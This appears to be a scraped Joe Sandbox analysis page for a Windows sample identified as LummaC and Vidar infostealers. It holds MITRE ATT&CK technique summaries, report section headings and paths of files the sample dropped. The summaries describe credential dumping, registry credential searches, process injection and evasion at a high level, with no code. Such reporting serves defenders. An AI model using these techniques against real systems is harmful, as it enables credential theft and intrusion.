Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\IIEBAFCBKFID\AKEBFC

C:\ProgramData\IIEBAFCBKFID\BKECBA

C:\ProgramData\IIEBAFCBKFID\DHCBAE

C:\ProgramData\IIEBAFCBKFID\DHCBAE-shm

C:\ProgramData\IIEBAFCBKFID\ECBGIE

C:\ProgramData\IIEBAFCBKFID\ECFHCG

C:\ProgramData\IIEBAFCBKFID\FIJDGI

C:\ProgramData\IIEBAFCBKFID\GDGHID

C:\ProgramData\IIEBAFCBKFID\HIJJDG

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre